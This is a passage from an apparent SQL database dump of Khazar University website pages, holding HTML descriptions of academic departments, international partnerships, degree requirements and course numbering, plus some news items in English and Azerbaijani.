and communication practitioners by providing a media and communication program anchored on national and secular values, academic excellence, public service and social responsibility.</p><p>&nbsp;</p><p><strong>Vision</strong><strong></strong></p><p>The Department of Journalism envisions students, graduates and media and communication practitioners, who are:</p><p>competent, skilled and creative;</p><ul><li>critical yet responsible;</li><li>empowered and empowering;</li><li>passionate agents of social transformation;</li><li>committed advocates of gender fairness, ecological harmony, social justice and peace.<strong>&nbsp;<br></strong></li></ul><p><strong>General Objectives</strong><strong>&nbsp;</strong></p><p>The Journalism program aims to facilitate student learning in the theoretical and practical aspects of the following areas of media and communication: writing, production and research.</p><p>&nbsp;</p><p><strong>Specific Objectives</strong><strong>&nbsp;</strong></p><p>Specifically, the Journalism program aims to develop the following competencies among its students:</p><p>1.&nbsp; Proficiency and imaginativeness through writing courses,</p><p>2.&nbsp; Technical skills and creativity through production work,</p><p>3.&nbsp; Discipline, investigative skills, and critical discernment through research projects;</p><p>4. A deep sense of social responsibility, gender and child sensitivity, love of environment and nature in their professional and personal lives.</p>'),(134,142,'en','Law','Law','<p style=\"text-align:justify\"><strong><em>The Department of Law</em></strong> is truly a “global” school with strong connections to the&nbsp;International legal and educational communities. The international activities of the&nbsp;department include visiting professorships, publications in foreign journals and&nbsp;participation in international symposia and conferences.</p><p style=\"text-align:justify\">The essential mission of the department is to help students meet the demands of a&nbsp;rapidly changing legal and professional environment. The department is a center of&nbsp;legal scholarship, whose members work to enlarge society\'s understanding of law&nbsp;as well as its underlying policies, legal institutions, and legal processes.</p><p style=\"text-align:justify\">The department shared the school’s Administration policy--- to have a faculty composed of specialists with a broad range of professional experience and wide academic interests while sharing the commitment to teach. The knowledge and experience of the department\'s faculty afford students the opportunity to examine the law in its broadest context and provide them with specialized courses in various areas of law.</p><p style=\"text-align:justify\">Most members of the faculty are involved in certain activities abroad, are experienced in private practice and work as consultants and advisers to governmental and non-governmental agencies. Faculty involvement in such complement and enrich their instruction and contribute to realizing a practical orientated legal education.</p><p style=\"text-align:justify\">The teaching staff of the department develops its skills by participating in various&nbsp;seminars and conferences both in and outside the country. In all the courses,&nbsp;a strong emphasis is placed on the development of skills, whether academic, e.g.&nbsp;those required by legal research or \"life skills\", e.g. effective oral and written&nbsp;communication in a professional setting. A comparative analysis approach is&nbsp;another method used by the teaching staff, which considers the rich experience of&nbsp;various legal systems and analyzes them during the teaching process.</p><p style=\"text-align:justify\">Distinguished visitors from foreign countries and local specialists who are reputable experts in different areas of law contribute to the development of the&nbsp;department.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>It is the department\'s philosophy that the proper education should help the student&nbsp;make the most of his/her capacity for a full life in the field of law:</strong></p><p style=\"text-align:justify\">1.&nbsp;The legal education offered by the department emphasizes the acquisition of broad and basic knowledge of the law as well as the concentration of a certain area of law.</p><p style=\"text-align:justify\">2.&nbsp;The legal education offered by the department pays primary attention to the development of intellectual and analytical abilities. The Department encourages independence and diversity of thought, seeking to educate graduates in using reasoning processes, communicating and defending his/her ideas on the basis of evidence.</p><p style=\"text-align:justify\">3.&nbsp;The education includes teaching the techniques of the profession and equipping graduates with skills necessary to enhance the effectiveness and efficiency of their professional activity.</p><p style=\"text-align:justify\">The research programs of the department include International Law, Human Rights,&nbsp;Comparative Constitutional Law, Business Law and Civil and Criminal Procedures.</p><p style=\"text-align:justify\">The department was the first law institution in Azerbaijan to seek innovative&nbsp;solutions to challenges in areas such as Advocacy, Human Rights, Patent&nbsp;Law, Contract Law, International Humanitarian Law, Business Law, Corporate&nbsp;Governance, etc. At present, more than 20 courses are offered by the department.</p><p style=\"text-align:justify\">The Department of Law is very active in organizing various seminars, summer and&nbsp;winter schools as well as implementing projects on a law.</p><p style=\"text-align:justify\">In its activities the Department of Law cooperates with a number of local and international NGOs, especially with Advocate-Service, the Young Lawyers&nbsp;Association of Azerbaijan, the Association of Women-Lawyers of Azerbaijan, the&nbsp;Society of Legal Education in Azerbaijan, the American Bar Association (ABA),&nbsp;Ombudsman office and the International Committee of the Red Cross.</p><p style=\"text-align:justify\">The first Moot Court in Azerbaijan was established at the School of Law with&nbsp;support from the American Bar Association, Central European and Eurasian Law&nbsp;Initiative (ABA-CEELI). The court has proven to give students hands-on experience in many areas of law.</p>'),(135,143,'en','Mathematics','Mathematics','<p><img src=\"/files/math_depart/ali_h.jpg\" style=\"float:left;width:150px;height:164px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/math_depart/Ali%20Huseynli%20cv.pdf\" style=\"font-weight:bold\">Ali Huseynli</a>&nbsp;</p><p><strong>Department Chair</strong></p><p>PhD in Mathematics (Azerbaijan National&nbsp;Academy of Sciences, <a href=\"http://www.imm.az/exp/\">Institute of Mathematics and Mechanics</a>)</p><p>MS&nbsp;in Mathematics (Baku State University,&nbsp;Azerbaijan)  </p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p><img src=\"/files/image/13_11_08_normal_ian-symbol-mathematics-pi.png\" style=\"border:0px  #000000;width:150px;height:160px;margin:7px;float:left\">Department of Mathematics was founded on October 1, 1993.\r\nThe Department offers programs leading to MS and PhD degrees in Mathematics and\r\nApplied Mathematics. Some interdepartmental programs within Mathematics are\r\navailable to students willing to combine their interests in Mathematics with\r\nother concentrations. The Department serves all Khazar University schools\r\ndelivering courses of Pre-calculus, General and Advanced Calculus, Differential\r\nEquations, Linear and Applied Algebra, Operations Research, General Statistics,\r\nas well as Biostatistics and Business Statistics, Mathematics for Economics and\r\nBusiness, etc.</p><p>Since 2009 the Department of Mathematics has offered\r\nundergraduate programs in Mathematics and Computer Education. The Bachelor\r\nDegree Program in Mathematics and Computer Education is an interdepartmental\r\nprogram offered jointly by the Department of Mathematics and the Department of\r\nComputer Science.&nbsp;</p><p>&nbsp;All programs and coursework reflect a broad range of areas\r\nin theory and application within the mathematical sciences. There is a choice\r\nof courses, which are similar in subject, but different in level.</p>\r\n<p>There are four types of research-oriented curriculum:&nbsp;Mathematics&nbsp;is designed for graduate students with a\r\nstrong interest in Mathematics</p><ul><li>Mathematics and Computer Science, in which Mathematics is\r\nstudied on an equal basis with Computer science</li><li>Mathematics and Economics&nbsp;in which students study\r\nstrong links between Mathematics and Economics, particularly, mathematical\r\nmodels in&nbsp;Economics</li><li>Special applied mathematics areas&nbsp;which represent\r\nresearch interests of the mathematics faculty</li></ul><p>Areas of current faculty research interest include:\r\nfunctional analysis, operator theory, ordinary and partial differential\r\nequations, mathematical physics, algebra, mathematical economics, probability\r\ntheory, and mathematical statistics. In addition to these areas, coursework is\r\nprovided in optimization and operation research, real and complex analysis,\r\nnumerical methods, history and philosophy of mathematics.</p>\r\n<p>The Department of Mathematics is the home of&nbsp;Khazar\r\nJournal of Mathematics, published by the Khazar University Press.</p>\r\n<p>The Department host seminars which consist of lectures on\r\nnumerous topics and reports by faculty or students on recent\r\ndevelopments.&nbsp;&nbsp;</p>'),(136,144,'en','Modern Languages and Comparative Literature','Modern Languages and Comparative Literature','<div><br></div><div><p>The main task of the Department includes the development of practical reading, speaking, writing, literary and translating skills of its students.</p><p>The Department participates in various interdisciplinary programs, including a graduate program in European Public Affairs.</p><p>The faculty is composed of experts with extensive work experience as translators and teachers in foreign countries, practicing the languages that they offer in their courses.</p><p>Our aim is to comprehensively teach the languages’ literature, culture, modern life and specific characteristics of countries that speak the corresponding language. Courses are offered according to the area of studies.</p>  <br></div>'),(137,145,'en','Music and Fine Arts','Music and Fine Arts','<p><strong><br></strong></p><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></strong>The&nbsp;<strong>Department of Music and Fine Arts</strong>&nbsp;of Khazar University is engaged in a broad range of activities in its role as one of the main educational/training structures of the university. The Department of Music and Fine Arts creates opportunities for all students to participate in various spheres of art and music regardless of their academic majors, and some of its subjects are included on the list of required subjects for university students.The department also creates an environment for students to learn about the heritage and history of Azerbaijani and world music through the programs that it provides. It coordinates exhibitions of professional and talented graphic artists, tours of foreign theater and concert groups, and meetings with respected artists. These continual activities have turned Khazar University into one of Baku’s richest cultural centers. Khazar’s song and dance ensemble has given performances in Europe, Turkey, Qatar and Georgia, and has won several competitions. The Khazar University ensemble performs Caucasus, Russian, Spanish, Arab, English, Italian, Persian, Turkish, Gypsy and other national songs and dances.According to the university policies, the department coordinates various courses for students to obtain high-quality professional training in music, dance, choir, and carpet making. At the same time, the department also continually offers specialized courses such as art history, world arts and culture, and Asian and European cultures. In addition, this department plays a foundational role in the development of Khazar University in the field of culture.For this reason the department created concert halls in both university campuses, including the famous “World” concert hall in the university’s downtown (Baku) campus. The department is involved in both education and research as well as maintaining relationships with other organizations to enrich the cultural life of the university, producing concerts and shows, and playing an important role in graduation ceremonies and other events.The department’s main goal is to organize training in fields related to national arts of Azerbaijan in order to create performance opportunities so students can develop their artistic and intellectual skills, musical knowledge, and understanding of arts such as music and carpet making. At the same time, the university auditoriums are used for events, rehearsals and concerts of other groups besides the university, making a contribution to the development and propagation of Azerbaijani and world cultures. The subjects offered by the department are carried out with the aim of promoting foundational Azerbaijani aesthetic values. Every student can choose a field in line with his or her preferences in order to more deeply learn national culture. For the duration of their studies at Khazar University, students can participate in music, dance, theater and other groups and at the same time can earn academic credits by taking classes from well-known specialists in mugham, folk music, classical music of Azerbaijan and the world, voice, choir, carpet making, jewelry making, and national costume design. The Department of Music and Fine Arts is also responsible for running several centers, including the Carpet Museum, the Jewelry Museum, and the National Costume Museum.</p>'),(138,146,'en','Petroleum Engineering','Petroleum Engineering','<p>The Department of Petroleum Engineering was established in 1991. The department aims to provide advanced training for petroleum engineering professionals to enable them to create and apply innovative technologies in drilling, production and reservoir engineering as well as efficiently utilizes their knowledge and skills to find solutions to environmental issues related to the petroleum industry.  </p><p style=\"text-align:center\"><img src=\"/files/petroleum_depart/Ocean-Victory.jpg\" style=\"vertical-align:bottom;width:400px;height:259px\"><br></p>'),(4897,2860,'az','Xəzər Universitetinin rektoru Orta Doğu Texniki Universitetində (ODTU) oldu','2018-ci il yanvarın 18-də Xəzər Universitetinin rektoru Hassan Niknafs, Azərbaycan SPE-nin direktoru Əli Nağıyev, tədqiqatçı və Xəzər Universitetinin...','<p>2018-ci il yanvarın 19-da Xəzər Universitetinin rektoru Hassan Niknafs, Azərbaycan SPE-nin direktoru Əli Nağıyev, tədqiqatçı və Xəzər Universitetinin Neft mühəndisliyi ixtisası üzrə PhD namizədi Şəhriyar Alxaslı Orta Doğu Texniki Universitetində (ODTU) oldu.</p><p>Səfər zamanı ODTU-nin rektoru Prof. Dr. Mustafa Verşan Kök və prorektor Prof. Dr. Meliha Altunışık ilə rəsmi görüş keçirildi. Əsas müzakirələr magistratura üzrə ikili dərəcə proqramı və neft mühəndisliyi sahəsində birgə tədqiqatlar barədə oldu.</p><p>Xəzər Universitetinin eiLink tədqiqat mərkəzi Neft mühəndisliyi departamentinin müdiri Prof. Dr. Serhat Akın və Geofizika kafedrasının bir qrup professoru ilə praqmatik birgə tədqiqat imkanları ilə bağlı ayrı-ayrılıqda bir neçə görüş keçirdi.</p>'),(139,147,'en','Philosophy and Sociology','Philosophy and Sociology','<div><br></div><div><p>At present, the basic fields of academic and research activity of the Department of Philosophy and Human Studies are grouped into three divisions:</p><p>•&nbsp;Philosophy (comprising a wide range of philosophical disciplines concerning history of philosophy, philosophy of religion, political philosophy, relations between philosophy and literature, and philosophy and linguistics)</p><p>Other fields of humanities and social sciences (e.g. study of Arts and Culture, Social and Cultural Anthropology)&nbsp;<br><br>Various courses offered by the Department are taught practically in all schools of the University as electives in general education requirements. The disciplines offered by the Department are included as the major, major related and minor courses required for bachelor and master degree programs at the School of Law, School of Humanities and Social Sciences, and School of Economics and Management.</p><p>The faculty of the Department is composed of scholars with solid teaching experience and varied research interests. All teaching faculty members have strong academic background in their respective fields and have published widely. Distinguished visiting professors from foreign countries complement the full-time faculty.</p><p>The Department supports several interdisciplinary graduate programs leading to master\'s and Ph.D. degrees.</p><p style=\"font-size:medium\"><br></p>  <br></div>'),(140,148,'en','Political Science and International Relations','Political Science and International Relations','<h3 style=\"text-align:center\"><strong>Department of Political Science and International Relations</strong></h3><div><strong><br></strong></div><p style=\"text-align:justify\">The Department of Political Science and International Relations offers degree programs at undergraduate and postgraduate levels. The undergraduate degree programs include Political Science, International Relations, and European Studies. The postgraduate programs include Masters and PhD degrees in International Relations.</p><p>&nbsp;<strong>What are the distinctive features of our degree programs?</strong></p><p style=\"text-align:justify\">&nbsp; The medium of instruction is&nbsp;English;</p><p style=\"text-align:justify\">&nbsp; Our programs are designed in line with the programs of world-class universities as well as the Azerbaijani state standards;</p><p style=\"text-align:justify\">&nbsp; Our programs include country-centered as well as region-centered courses which also attract foreign students;</p><p style=\"text-align:justify\">&nbsp; Classes are taught by lecturers educated in leading world universities as well as experienced senior lecturers;</p><p style=\"text-align:justify\">&nbsp; Our programs combine theoretical knowledge with practical experience (mandatory placement offered as of the 2015-2016 academic year);</p><p style=\"text-align:justify\">&nbsp; Extracurricular activities such as field trips and seminar series are delivered by scholars, experts and practitioners;</p><p style=\"text-align:justify\">&nbsp; The department conducts a number of annual scholarly events such as Jean Monnet Seminar series, crisis simulation exercises, summer schools, and thematic conferences.</p><p><img src=\"/files/career/fb.png\" style=\"width:30px;height:36px;margin-right:4px;float:left\"><a href=\"https://www.facebook.com/psird/\">https://www.facebook.com/psird/</a><br></p><p><img src=\"/files/politics_depart/barcode.png\" style=\"border:0px #000000;width:80px;height:80px;float:left\"></p>'),(141,149,'en','Psychology','Psychology','<p><strong>Overview</strong></p>\r\n<p style=\"text-align:justify\"><img src=\"/files/psycho_depart/poster-psixologiya-bash.jpg\" style=\"float:left;width:150px;height:138px;margin-left:7px;margin-right:7px;margin-bottom:7px\">A global-community recognizes that events and forces such as major social changes, massive population growth, widespread human rights violations, increasing crime, violence, and substance abuse as well as increased awareness, communication, learning and sharing of knowledge associated with globalization are primary socialization influences affecting human wellbeing in contemporary societies. Thus, people may face with various biopsychosocial undesirable events and tend to have high level of anxiety, stress and even burnout which lead a demand for psychologists.</p><p style=\"text-align:justify\">Psychology is the scientific study of the mind and behavior as well as multifaceted discipline. Psychologists investigate many sub-fields of study such areas as motivation, emotional well-being, conscious, human development, sports, health, clinical, social behavior and cognitive processes. Currently there is an increasing demand for psychologists because of the high rate psychological issues.</p><p style=\"text-align:justify\">The Department of Psychology was established in 2010. The program combines the theory and practice of psychology and teaches techniques of individual and group psychological counseling and care, which are essential for a successful career in the field.</p>\r\n<p><strong><em>Why study Psychology at Khazar University?!</em></strong></p><br><ul><li style=\"text-align:justify\">High quality education in English</li><li style=\"text-align:justify\">The education system based on the experience of the world\'s leading universities</li><li style=\"text-align:justify\">Opportunities to continue education abroad</li><li style=\"text-align:justify\">Foreign trained staff as well as highly-educated professionals from Azerbaijan</li><li style=\"text-align:justify\">Experience in clinics and hospitals</li><li style=\"text-align:justify\">Possession of regular seminars, courses and conferences for professional development at the Khazar Psychology Counselling Center</li></ul><br>\r\n<p><strong><em>To Whom is this occupation suitable for?</em></strong></p>\r\n<br><ul><li>People with verbal and written communication skills</li><li>People with analytical thinking</li><li>Creative</li><li>Patient</li><li>Discreet</li><li>Listener</li></ul><br>\r\n<p style=\"text-align:justify\">For the first time we organized the first International Psychology Conference in Azerbaijan as a Khazar University in order to learn and promote about the latest achievements in psychology. It is an honor and proud to host such an international conference at Khazar University for our students.</p>\r\n<p><strong><em>Career opportunities:</em></strong></p><br><ul><li>hospitals</li><li>polyclinics</li><li>orphanage</li><li>educational institutions</li><li>psychological service centers</li><li>almshouse</li><li>industrial areas</li></ul><br><p style=\"text-align:justify\">Depending on the field of psychology they may work as a clinical psychologist, child psychologist, family psychologist, etc.</p><p style=\"text-align:justify\"><br></p><h3>Contact</h3>  <p><a href=\"http://www.khazar.org/files/psycho_depart/18058024_10207205670494764_3841531442518842867_n.jpg\"><img src=\"/files/psycho_depart/18058024_10207205670494764_3841531442518842867_n.jpg\" style=\"border:0px #0000ee;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\"><strong>Melek Kerimova</strong></a></p><strong></strong><p><strong><strong>Coordinator &nbsp;of&nbsp; Psychology Department&nbsp;</strong>  <br></strong></p><p><strong>Director of Khazar Psychological Center</strong></p>  <p>PhD&nbsp;candidate in Social Philosophy&nbsp;(Khazar University,&nbsp;Azerbaijan)  <br></p><p>MS in Counseling Psychology and Guidance<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(Hacettepe University,&nbsp;Turkey)</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;BS in Counseling Psychology and Guidance<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;   (Hacettepe&nbsp;University,&nbsp;Turkey)</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;E-mail:</strong>&nbsp;<a href=\"http://mailto:psychology@khazar.org\">psychology[at]khazar.org</a></p><p><span style=\"font-weight:bold\"></span><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Phone: </strong>(+994 12) 421 10 93 (275)</p><p><br></p><p><strong>Follow us on&nbsp;Facebook:</strong></p><p><a href=\"https://www.facebook.com/khazarpsych/\">https://www.facebook.com/khazarpsych/</a></p>'),(142,150,'en','Organizations and Corporations','Organizations and Corporations','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The tradition of international\r\ncooperation at Khazar is as old as the university itself. Building\r\ninternational partnerships has been a priority of the university since its\r\nestablishment.&nbsp; The internationalization process is carried out in various\r\ndirections, one of which is implementing mutually beneficial partnership\r\nprograms with companies and organizations. For this reason Khazar University\r\npartners with numerous governmental and non-governmental organizations,\r\nindustries and private companies, international foundations, etc.</p>\r\n<p>Embassies of\r\ncountries&nbsp;such&nbsp;as the USA, South Korea, Turkey, and Japan support\r\nKhazar University by providing equipment, organizing academic visits of foreign\r\nprofessors and researchers, organizing student exchange programs and searching\r\nfor partners in their countries.</p>\r\n<p>Along with embassies, there are\r\norganizations which help Khazar with equipment, including: ISEE Caucasus, which\r\nlocated its library at Khazar University; Middle East University in Ankara,\r\nTurkey, which provides support for the library of Khazar University; “Sonmes\r\nKilichli Punto,” which provided equipment for an auditorium for the Political\r\nScience Department; and Azercell, which equipped the “E-learning room” at\r\nKhazar University.</p>\r\n<p>Khazar University has close partnerships\r\nwith various companies, corporations, and international organizations which\r\ninclude EY (Ernst &amp; Young), PricewaterhouseCoopers, Philip Morris, Azersun\r\nHolding, TÜSIAB (Azerbaijan International Society of Turkish Industrialists and\r\nBusinessmen), Hyatt International, Coca-Cola Azerbaijan, McDermott, Norwegian\r\nHumanitarian Enterprise (NHE), UN, UNESCO, UNICEF and many others. Alumni of\r\nKhazar University hold leadership positions in many of these organizations.</p>\r\n<p>The internationalization strategy of\r\nKhazar University creates a welcoming environment for foreign students and\r\nprofessors, results in recognition of the university within and outside of\r\nAzerbaijan, and ensures constant improvement in the quality of education.</p>'),(143,151,'en','Educational and Research Institutions','Educational and Research Institutions','<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Cultivating a network of international relations\r\nallows Khazar University to boost the mobility of its academic staff and\r\nstudents as well as to make the unique educational and research opportunities\r\nof Azerbaijan available to students and faculty abroad.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The internationalization processes take place in\r\nthe following areas:</p><ul><li>&nbsp;Bilateral\r\ncooperation agreements (with around 100 universities all over the world)</li><li>&nbsp;Membership\r\nin consortiums of universities such as: Eurasia University Union (EURAS), Black\r\nSea University Association; Caspian University Association; Alliance of\r\nUniversities for Democracy; International Information Security &nbsp;Research\r\nConsortium; and Caucasus International Consortium for Academic Cooperation\r\n(CICAC)</li><li>&nbsp;Participation\r\nin international educational and research programs and projects</li><li>&nbsp;Exchanges\r\nof students and academic staff</li><li>&nbsp;International\r\ncooperation on the faculty, institute, department and individual levels.</li></ul>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">By participating in various consortiums of\r\nuniversities, Khazar University strives to intensify different types of\r\nexchanges and to widen possibilities for internationalization of studies and\r\nresearch. Active participation within bilateral partnership agreements and\r\nEuropean programs has allowed wide cooperation activities within the&nbsp;<a href=\"http://www.khazar.org/en/menus/493/_erasmus_mundus\">ERASMUS</a>&nbsp;program.\r\nThe number of agreements with partner universities has grown in anticipation of\r\nmore intensive exchanges of students and teachers.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Khazar University has become an attractive place to\r\nstudy both for full-time and exchange international students. Many visiting\r\nprofessors are involved in the study process and the faculty is active in\r\ninvolving more and more visiting fellows in the university.</p>'),(144,152,'en','Partners','Partners','<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The mission of the International Affairs Office is\r\nto coordinate, encourage and contribute to the internationalization of Khazar\r\nUniversity.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The International Affairs Office of Khazar\r\nUniversity is responsible for the university’s overall international strategy,\r\nincluding recruitment, student exchange and cooperation with universities and\r\nother organizations.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The International Affairs Office also provides\r\nguidance and advising services to international students and scholars of Khazar\r\nUniversity.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Our key roles include but are not limited to:</p><ul><li>&nbsp;Initiating\r\nand managing international cooperation agreements and partnerships</li><li> &nbsp;Representing\r\nthe university at local and international conferences, fairs and other events</li><li>&nbsp;Coordinating\r\nexchange programs, e.g. Erasmus Mundus and Mevlana</li><li>&nbsp;Coordinating\r\nindividual inter-university student exchanges</li><li>&nbsp;Providing\r\nsupport services for international students, academic staff and visitors</li><li>&nbsp;Assisting\r\ninternational students in maintaining their legal status in Azerbaijan and\r\nproviding support to their dependents</li></ul>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The International Affairs Office provides full\r\nsupport for the internationals visiting the university for study, research,\r\nteaching or other purposes. Support services include:</p><ul><li>&nbsp;Visa\r\nregistration</li><li>&nbsp;Arrival\r\narrangements</li><li>&nbsp;Housing\r\ninformation</li><li>&nbsp;Immigration\r\nadvising</li><li> &nbsp;Orientation\r\nprograms</li><li>&nbsp;Extension\r\nof academic stays for valid reasons</li><li>&nbsp;Counseling\r\nrelated to emergencies and unexpected immigration problems</li></ul>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">To find out more about the services provided by\r\nthe International Affairs Office visit its&nbsp;<a href=\"http://international.khazar.org\">main page</a>.</p>'),(145,153,'en','Academic Requirements','Academic Requirements','<p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">The Khazar University curriculum for the Bachelor’s degree has\r\nthree components. Students will complete three basic areas, which apply to all\r\nprograms:</p><ul style=\"font-size:medium\"><li>&nbsp; &nbsp; University\r\nRequirements&nbsp;<strong>(UR)</strong></li><li>&nbsp; &nbsp; An Academic Core, or\r\nGeneral Education Requirements&nbsp;<strong>(GER)</strong></li><li><strong></strong>&nbsp; &nbsp;&nbsp;Major and\r\nmajor-related program requirements&nbsp;<strong>(MR)</strong></li></ul><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Students must fulfill all the requirements of each of the three\r\nareas to be eligible for graduation.</p>'),(1997,1216,'en','Selection for 2016-2017 Academic Year Completed','On June 14, 2016, the selection process for the 2016-2017 academic year was completed...','<p>On June 14, 2016, the\r\nselection process for the 2016-2017 academic year was completed. The results of\r\nthe selection process have been communicated to all candidates via email.</p>\r\n<p>The selection process\r\nat Khazar University is a rigorous three-stage process that includes\r\napplication screening, application review and interviews and it is carried out\r\nby the selection sub-committees formed by each school.</p>\r\n<p>Applicants from all\r\nover the world showed interest in Khazar University and its International\r\nScholarship Program. As a result, Khazar University received more than 600\r\napplications from around 50 countries. Detailed information about admission\r\nrequirements was available on the website and interested candidates were\r\ninformed via various communication channels from the opening of the\r\ninternational admission cycle until the deadline. Despite that, around 30% of\r\napplications, those missing one or more of the required documents, did not pass\r\nthe first stage of the selection procedure – application screening.&nbsp; </p>\r\n<p>As in previous years, a\r\nlarge number of strong and highly-competitive applications were received. The\r\nSelection Committee had a difficult task of choosing among numerous outstanding\r\ncandidates. A number of applicants received full tuition fee scholarships.\r\nTaking into consideration the high interest of applicants and the quality of\r\napplications, the selection committee also offered a limited number of partial\r\nscholarships.</p>\r\n<p>We thank all applicants\r\nfor their interest in Khazar University and the time they invested in their\r\napplications! We look forward to welcoming new international students in\r\n2016-2017 academic year.</p>'),(146,154,'en','Degree Requirements','Degree Requirements','<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>Degree Award Ceremonies</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The degrees earned at Khazar University are\r\nawarded at the end of the Fall and Spring semesters, and Summer session.\r\nDiplomas are available one or two months after the degree award date. All\r\ndegree requirements must be completed before the student may participate in a\r\ndegree recognition ceremony (an academic festive ceremony for graduates),\r\nusually held twice a year – in the second half of September and March. Students\r\nmust file an application for a degree (available at the Registration and\r\nRecords Office). Those, who complete their degree requirements during one of\r\nthe semesters or summer session, must register for the next scheduled ceremony.</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Master\'s Degrees</strong></p><p>A candidate for the Master\'s degree is\r\nrequired to have an advisor from the department of the major field.</p>\r\n<p>The general requirements for the\r\nMaster\'s degree candidates with a Bachelor\'s are as follows:</p>\r\n<ul><li>Students should take between 32 and 60\r\ncredits with a minimum of 7 graduate-accredited semester courses beyond the\r\nBachelor\'s</li><li>Students should earn a cumulative\r\ngrade-point average of at least 75 in all courses undertaken at Khazar</li><li>Students should complete the Major\r\nRequirements with G.P.A. 75 or above a thesis may be required, as determined by the department or School of major study.&nbsp;</li></ul>\r\n<p>In some Master’s degree programs a student may earn credits (no more than 6 credits) by teaching undergraduate courses. The courses taught are to be related to the student’s major field.  <br></p><p>The\r\nexamining committee is usually composed of four members.</p>  <p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>PhD Degree</strong></p>\r\n<p>A candidate for the PhD degree is\r\nrequired to have an advisor from the department of the major field.</p>\r\n<p>The candidate with a Master\'s Degree\r\nadmitted to the PhD program is required to take at least an additional 7\r\ncourses (32 to 60 credits) including a dissertation, although more credits and\r\ncourses may be required to satisfy the particular aims of the student and the\r\nstudent\'s advisor. A student should complete the Major Requirements with G.P.A.\r\n80 or above. Some PhD majors allow a student to earn no more than 6 credits by\r\nteaching appropriate courses.</p>\r\n<p>Upon the satisfactory completion of\r\nthe course-work and the qualifying examination, a student selects a\r\ndissertation topic. Please note that this is not a strict rule and each\r\ndepartment and/or advisor may have their own criteria for selection a\r\ndissertation topic. Candidates shall demonstrate their abilities for\r\nindependent study by performing original research for their dissertations.</p>\r\n<p>Students shall present themselves at\r\nthe final oral examination, at which time they must defend their dissertations,\r\ndefine contributions to the knowledge in their fields and demonstrate the\r\nmastery in their areas of specialization.</p>\r\n<p>The examining committee is composed of\r\nat least five members.</p>'),(147,155,'en','Classification of Courses','Classification of Courses','<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The Khazar course numbering system is based on a\r\nset of abbreviations for the academic disciplines, and three-digit course\r\nnumber. Most courses at Khazar University are numbered according to the\r\nfollowing plan:</p><ul style=\"font-size:medium\"><li>Primarily\r\nfor pre-freshman courses 001-099</li><li>For\r\nfreshmen and sophomore undergraduate courses 100-199 and 200-299</li><li> For\r\nadvanced undergraduate and some graduate courses 300-399 and 400-499</li><li> For\r\nGraduate Courses 500 and higher</li></ul>\r\n<p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><em>(Please note that these are the general guidelines\r\nand individual Schools may have their own specific course numbering.)</em></p>\r\n<p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Most of the advanced individual study and research\r\ncourses are also numbered 500 or higher. With departmental and School consent,\r\nundergraduate students may enroll in 500-series courses for credit toward a\r\nbachelor\'s degree. With the approval of the major department, graduate students\r\nmay take some courses numbered 300 or higher toward satisfying master\'s or\r\ndoctorate degree requirements with additional course works, projects or\r\nindependent study. Courses numbered 100-199 and 200-299 may not be applied toward\r\ngraduate degrees. Courses are open to all students who have met the\r\nprerequisites indicated in the departmental requirements or the course\r\ndescription.</p>'),(1996,1216,'az','2016-2017-ci tədris ili üçün beynəlxalq qəbulun seçim prosesi sona çatdı','2016-cı il iyunun 14-də 2016-2017-ci tədris ili üçün beynəlxalq qəbulun seçim 